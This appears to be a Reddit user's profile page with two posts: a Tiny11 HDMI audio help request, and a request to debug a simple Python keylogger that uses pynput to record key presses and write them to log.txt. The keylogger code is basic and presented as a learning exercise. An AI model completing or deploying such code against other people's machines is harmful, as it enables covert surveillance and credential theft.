u/Beginning-Shine-9386

▲ 1 r/Tiny11

My tiny 11 does not recognize HDMI/ my boat speaker as audio device

i have a low end laptop with 4gb ram, this is the reason i downloaded tiny 11

i never had any problem with it ( except file indexing with PowerToys ; solved it by downloading Everything )

it recognized my Realme AirBuds as an audio device which i usually used but when i tried using HDMI to play games on my tv it did not register it as a audio device , i did not make a fuss and just used my Buds ( as they r better for gaming anyways )

Now i want to watch some Anime( as the app i originally used got DMCAed) on my tv by connecting this laptop to my TV( via HDMI ) with good all around audio as multiple ppl would be watching, as i knew about the HDMI audio problem i borrowed my fiend's speaker which also didn't register

thus i am asking for a solution for my problem, as watching anime is one of my major past time

plz help

reddit.com
u/Beginning-Shine-9386 — 5 days ago

trobleshooting help with key logger code

import pynput as pi

key_list : list[str]=[]
def key_record(key):
    global key_list
    try:
        key_s = key.char
    except AttributeError:
        match str(key):
            case "key.space":
                key_s = " "
            case "key.enter":
                key_s = "\n"
            case _:
                key_s= str(key)
    print(key_s)     #still prints
    key_list.append(key_s)      # does not append?


#test
'''
hello worlddddffffffdfwwfasf   t5555sgfdsgsdfss daa
deeeeessddddddaadadaadadfafafssssa
'''




with pi.keyboard.Listener(on_press=key_record) as l:
    l.join()



print(key_list)
print(1)
all_keys=''.join(key_list)
with open("log.txt", "a") as f:
    f.write(all_keys)

i am working on a key logger for learning

it worked at first and gave the output

the problem was it had extra quoted around each charecter
i tried removing them but now it dosent out put any thing

reddit.com
u/Beginning-Shine-9386 — 1 month ago